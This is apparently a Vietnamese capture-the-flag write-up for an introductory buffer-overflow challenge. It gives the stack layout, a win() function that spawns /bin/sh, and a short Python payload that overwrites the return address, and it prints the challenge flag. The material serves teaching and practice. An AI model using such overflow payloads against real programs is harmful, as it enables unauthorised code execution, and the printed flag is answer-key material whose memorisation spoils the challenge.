Binary Exploitation
Easy
100 points
Buffer Overflow Intro
Recuite 2025 - HCMUS
6 tháng 10, 2025
Buffer Overflow
RIP Control
Stack

Binary Exploitation
Buffer Overflow Intro - Write-up#
Thông Tin Challenge#
- Danh mục: Binary Exploitation
- Độ khó: Intro/Dễ
- Bảo vệ: PIE, NX, IBT/SHSTK enabled; Không có Stack Canary
Phân Tích#
Hành Vi Binary#
- In địa chỉ hàm win (PIE enabled, thay đổi mỗi lần chạy)
- In stack layout
- Nhận 256 bytes input vào buffer 16-byte → Buffer Overflow!
Stack Layout#
Offset | Nội dung
--------|------------------
0x00 | Buffer (16 bytes)
0x10 | Saved RBP (8 bytes)
0x18 | Return Address (8 bytes)
Hàm Win#
Tại offset 0x1209, thực thi /bin/sh qua execve:
cvoid win() {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}
Khai Thác#
Cấu Trúc Payload#
pythonpayload = b"A" * 24 # Lấp đầy buffer + RBP
payload += p64(win_addr) # Return address → win
Các Bước Khai Thác#
- Parse địa chỉ hàm win từ output
- Xây dựng payload: 16 bytes buffer + 8 bytes RBP + 8 bytes win_addr
- Gửi payload
- Khi hàm return, nhảy đến win() → shell!
- Gửi lệnh
cat flag.txt
Lưu Ý Quan Trọng#
- IBT enabled → Chỉ có thể return đến hàm có instruction
endbr64 - Không cần RET gadget cho alignment (win xử lý)
- Shell được spawn sau khai thác, cần gửi lệnh
Flag#
BPCTF{noi_tinh_yeu_bat_dau_4130218ceb6f154233bfd7c7fab262d7}
Bài Học Rút Ra#
- Buffer overflow cơ bản: ghi đè return address
- PIE không ngăn khai thác nếu địa chỉ bị leak
- IBT giới hạn jump targets đến valid function entries
- Stack canaries chỉ hiệu quả nếu không bị leak
100
Points
Easy
Difficulty
Binary Exploitation
Category